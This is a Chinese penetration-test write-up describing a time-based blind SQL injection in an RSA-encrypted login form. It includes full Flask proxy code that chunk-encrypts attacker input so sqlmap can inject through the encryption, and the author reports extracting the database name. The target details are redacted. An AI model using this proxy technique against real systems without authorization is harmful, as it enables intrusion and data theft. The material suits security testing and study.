背景: 某客户系统登录处存在SQL注入,由于其登录逻辑是取密码进行比对,无法使用万能密码进行登录绕过,而其登录为PKCS-V1_5加密,后续编写FLASK网页配合SQLMAP进行注入后发现其PKCS-V1_5加密只支持117长度,需要分块加密,后续优化脚本后成功进行SQL注入。

此处为加密的登录,但此处初步判断进行了延时

使用万能密码尝试:

此处因为存在用户枚举的原因,不存在的账号会显示”账号或密码错误”没有进入锁定的处理逻辑,而存在的就会进行锁定逻辑,而这里会发现如果没闭合和成功闭合是不一样的,说明此处是存在万能密码登录,但由于登录逻辑多了一层对比判断对应账号的密码是否匹配数据库中的数据,所以此处万能密码无法登录。

递增时间判断出确实存在时间盲注

此处为rsa加密:

编写Flask进行代理注入:

此时数据包输入的数据为明文,使用SQLMAP对数据包进行注入

成功识别出时间盲注

但是后续尝试跑数据库发现报错,排查发现是rsa输入的长度过长了

测试发现此加密方式只支持117字符加密:

所以需要用到分块RSA加密再拼接起来

FLASK代码:

python
from flask import Flask, request, jsonify, render_template_string
import requests
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
import time
from datetime import datetime

app = Flask(__name__)

# RSA公钥(用于加密)(此处已脱敏)
RSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIGfMxxxxxx
-----END PUBLIC KEY-----"""

# 目标服务器配置(此处已脱敏)
TARGET_URL = "http://xxx.xxxxxx.xxx/xxxxxxLogin.do"

def rsa_encrypt_long(data, chunk_size=117):
"""
RSA分段加密函数
对于1024位密钥,每个块最大117字节[1,5](@ref)
"""
try:
rsa_key = RSA.import_key(RSA_PUBLIC_KEY)
cipher = PKCS1_v1_5.new(rsa_key)

# 将数据转换为字节
data_bytes = data.encode('utf-8')
encrypted_chunks = []

# 分段加密
for i in range(0, len(data_bytes), chunk_size):
chunk = data_bytes[i:i + chunk_size]
encrypted_chunk = cipher.encrypt(chunk)
encrypted_chunks.append(encrypted_chunk)

# 合并所有加密块并进行Base64编码
encrypted_data = b''.join(encrypted_chunks)
return base64.b64encode(encrypted_data).decode('utf-8')

except Exception as e:
raise Exception(f"RSA分段加密失败: {str(e)}")

@app.route('/')
def index():
"""显示前端界面"""
return render_template_string('''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>RSA分段加密登录代理</title>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh; padding: 20px;
display: flex; justify-content: center; align-items: center;
}
.container {
background: white; border-radius: 10px;
box-shadow: 0 10px 30px rgba(0,0,0,0.2);
overflow: hidden; width: 100%; max-width: 900px;
}
.header {
background: #2c3e50; color: white; padding: 20px; text-align: center;
}
.content { display: flex; min-height: 600px; }
.input-section {
flex: 1; padding: 30px; border-right: 1px solid #eee;
background: #f8f9fa;
}
.output-section {
flex: 1; padding: 30px; background: white;
display: flex; flex-direction: column;
}
.form-group { margin-bottom: 20px; }
label {
display: block; margin-bottom: 8px;
font-weight: 600; color: #2c3e50;
}
input[type="text"], input[type="password"], textarea {
width: 100%; padding: 12px; border: 1px solid #ddd;
border-radius: 5px; font-size: 14px; transition: border-color 0.3s;
}
textarea { height: 100px; resize: vertical; }
input:focus, textarea:focus {
outline: none; border-color: #667eea;
box-shadow: 0 0 0 2px rgba(102, 126, 234, 0.1);
}
button {
background: #667eea; color: white; border: none; padding: 12px 24px;
border-radius: 5px; cursor: pointer; font-size: 16px; font-weight: 600;
transition: background 0.3s; width: 100%;
}
button:hover { background: #5a6fd8; }
button:disabled { background: #ccc; cursor: not-allowed; }
.response-info { flex: 1; display: flex; flex-direction: column; }
.status {
padding: 10px; border-radius: 5px; margin-bottom: 15px;
font-weight: 600;
}
.status.success {
background: #d4edda; color: #155724; border: 1px solid #c3e6cb;
}
.status.error {
background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb;
}
.timing-info {
background: #e9ecef; padding: 15px; border-radius: 5px;
margin-bottom: 15px; font-size: 14px;
}
.response-content {
background: #f8f9fa; border: 1px solid #e9ecef; border-radius: 5px;
padding: 15px; flex: 1; overflow-y: auto;
font-family: 'Courier New', monospace; font-size: 12px;
white-space: pre-wrap; word-wrap: break-word;
}
.loading {
display: none; text-align: center; padding: 20px;
}
.spinner {
border: 3px solid #f3f3f3; border-top: 3px solid #667eea;
border-radius: 50%; width: 30px; height: 30px;
animation: spin 1s linear infinite; margin: 0 auto 10px;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
h3 {
margin-bottom: 20px; color: #2c3e50;
border-bottom: 2px solid #667eea; padding-bottom: 10px;
}
.info-text {
background: #e7f3ff; padding: 10px; border-radius: 5px;
margin-bottom: 15px; font-size: 13px; color: #0066cc;
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>RSA分段加密登录代理系统</h1>
<p>支持长文本加密 • 自动分段处理 • 实时响应监控</p>
</div>

<div class="content">
<div class="input-section">
<h3>登录信息</h3>
<div class="info-text">
<strong>技术支持:</strong>使用RSA分段加密技术,支持加密超长文本内容(最大支持32KB)
</div>

<div class="form-group">
<label for="username">用户名:</label>
<input type="text" id="username" placeholder="请输入用户名(支持长用户名)"
value="这是一个可能很长的用户名示例,可以包含特殊字符、数字和中文测试内容">
</div>

<div class="form-group">
<label for="password">密码:</label>
<input type="password" id="password" placeholder="请输入密码(支持长密码)"
value="这是一个可能很长的密码示例,可以包含特殊字符、数字和中文测试内容,甚至可以是整个段落的文本">
</div>

<div class="form-group">
<label for="serverId">服务器ID:</label>
<input type="text" id="serverId" value="a47f73e97d5943eba7676f1f3fefd5e8">
</div>

<button id="sendButton" onclick="sendLoginRequest()">发送登录请求(分段加密)</button>

<div class="loading" id="loading">
<div class="spinner"></div>
<p>正在加密并发送请求,请稍候...</p>
</div>
</div>

<div class="output-section">
<h3>服务器响应</h3>
<div id="responseContainer" class="response-info">
<p>请求结果将显示在这里...</p>
</div>
</div>
</div>
</div>

<script>
async function sendLoginRequest() {
const button = document.getElementById('sendButton');
const loading = document.getElementById('loading');
const responseContainer = document.getElementById('responseContainer');

// 获取输入值
const username = document.getElementById('username').value.trim();
const password = document.getElementById('password').value.trim();
const serverId = document.getElementById('serverId').value.trim();

if (!username || !password) {
showResponse('error', '错误', '用户名和密码不能为空');
return;
}

// 显示加载状态
button.disabled = true;
loading.style.display = 'block';
responseContainer.innerHTML = '<p>正在加密并发送请求...</p>';

try {
// 记录客户端开始时间
const clientStartTime = Date.now();

// 发送请求到Flask后端
const response = await fetch('/proxy-login', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
username: username,
password: password,
xxx: xxx
})
});

// 计算客户端收到响应的时间
const clientTime = Date.now() - clientStartTime;

const data = await response.json();

if (data.success) {
showResponse('success', '请求成功', data, clientTime);
} else {
showResponse('error', '请求失败', data.message);
}

} catch (error) {
console.error('Error:', error);
showResponse('error', '网络错误', '无法连接到代理服务器: ' + error.message);
} finally {
// 恢复按钮状态
button.disabled = false;
loading.style.display = 'none';
}
}

function showResponse(type, title, content, clientTime = 0) {
const responseContainer = document.getElementById('responseContainer');

let contentHtml = '';

if (typeof content === 'object' && content.timing) {
// 成功响应,显示详细时间信息和响应内容
contentHtml = `
<div class="timing-info">
<strong>加密统计:</strong><br>
原始用户名长度: ${content.encryption_info.original_username_length}字符<br>
原始密码长度: ${content.encryption_info.original_password_length}字符<br>
加密后用户名长度: ${content.encryption_info.encrypted_username_length}字符<br>
加密后密码长度: ${content.encryption_info.encrypted_password_length}字符<br>
分段加密块数: ${content.encryption_info.chunk_count}块
</div>
<div class="timing-info">
<strong>时间统计:</strong><br>
服务端总耗时: ${content.timing.total_response_time}秒<br>
加密时间: ${content.timing.encryption_time}秒<br>
API调用时间: ${content.timing.api_call_time}秒<br>
客户端收到响应: ${clientTime}毫秒<br>
请求ID: ${content.request_id}
</div>
<div>
<strong>目标服务器响应:</strong>
<div class="response-content">
状态码: ${content.target_server_response.status_code}

响应头: ${JSON.stringify(content.target_server_response.headers, null, 2)}

响应内容: ${content.target_server_response.content}
</div>
</div>
`;
} else if (typeof content === 'object') {
contentHtml = `<div class="response-content">${JSON.stringify(content, null, 2)}</div>`;
} else {
contentHtml = `<p>${content}</p>`;
}

responseContainer.innerHTML = `
<div class="status ${type}">${title}</div>
${contentHtml}
`;
}

// 页面加载完成后自动聚焦到用户名输入框
document.addEventListener('DOMContentLoaded', function() {
document.getElementById('username').focus();
});

// 支持按Enter键提交
document.addEventListener('keypress', function(event) {
if (event.key === 'Enter') {
sendLoginRequest();
}
});
</script>
</body>
</html>
''')

@app.route('/proxy-login', methods=['POST'])
def proxy_login():
"""代理登录接口:接收明文,分段加密后转发到目标服务器"""
start_time = time.time()
request_id = f"req_{datetime.now().strftime('%H%M%S%f')[:-3]}"

try:
# 获取前端发送的明文账号密码
data = request.get_json()
if not data:
return jsonify({
'success': False,
'message': '无效的请求数据',
'response_time': time.time() - start_time,
'request_id': request_id
}), 400

username = data.get('username', '').strip()
password = data.get('password', '').strip()
server_id = data.get('xxx', 'xxx') #(此处已脱敏)

if not username or not password:
return jsonify({
'success': False,
'message': '用户名和密码不能为空',
'response_time': time.time() - start_time,
'request_id': request_id
}), 400

# RSA分段加密
encrypt_start = time.time()
encrypted_user = rsa_encrypt_long(username)
encrypted_password = rsa_encrypt_long(password)
encrypt_time = time.time() - encrypt_start

# 计算分段信息(估算)
chunk_size = 117 # 1024位密钥的分块大小[1](@ref)
username_chunks = (len(username.encode('utf-8')) + chunk_size - 1) // chunk_size
password_chunks = (len(password.encode('utf-8')) + chunk_size - 1) // chunk_size

# 准备请求到目标服务器
headers = {
'Host': 'xxx.xxx.xxx.xxx', #(此处已脱敏)
'Accept-Language': 'zh-CN,zh;q=0.9',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Content-Type': 'application/json; charset=UTF-8',
'token': '',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive'
}

request_data = {
"user": encrypted_user,
"password": encrypted_password,
"xxx": xxx #(此处已脱敏)
}

# 发送请求到目标服务器
api_start = time.time()
target_response = requests.post(
TARGET_URL,
headers=headers,
json=request_data,
timeout=30
)
api_time = time.time() - api_start

total_time = time.time() - start_time

# 返回完整响应信息
return jsonify({
'success': True,
'request_id': request_id,
'timing': {
'total_response_time': round(total_time, 4),
'encryption_time': round(encrypt_time, 4),
'api_call_time': round(api_time, 4),
'other_processing_time': round(total_time - encrypt_time - api_time, 4)
},
'target_server_response': {
'status_code': target_response.status_code,
'content': target_response.text,
'headers': dict(target_response.headers)
},
'encryption_info': {
'original_username_length': len(username),
'original_password_length': len(password),
'encrypted_username_length': len(encrypted_user),
'encrypted_password_length': len(encrypted_password),
'chunk_count': username_chunks + password_chunks
},
'timestamp': datetime.now().isoformat()
})

except requests.exceptions.Timeout:
return jsonify({
'success': False,
'message': '请求目标服务器超时',
'response_time': time.time() - start_time,
'request_id': request_id
}), 504

except requests.exceptions.ConnectionError:
return jsonify({
'success': False,
'message': '无法连接到目标服务器',
'response_time': time.time() - start_time,
'request_id': request_id
}), 502

except Exception as e:
return jsonify({
'success': False,
'message': f'处理请求时出错: {str(e)}',
'response_time': time.time() - start_time,
'request_id': request_id
}), 500

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)


成功实现分块加密
再次使用SQLMAP注入,跑数据库名:

成功得出当前数据库信息,后续不作展示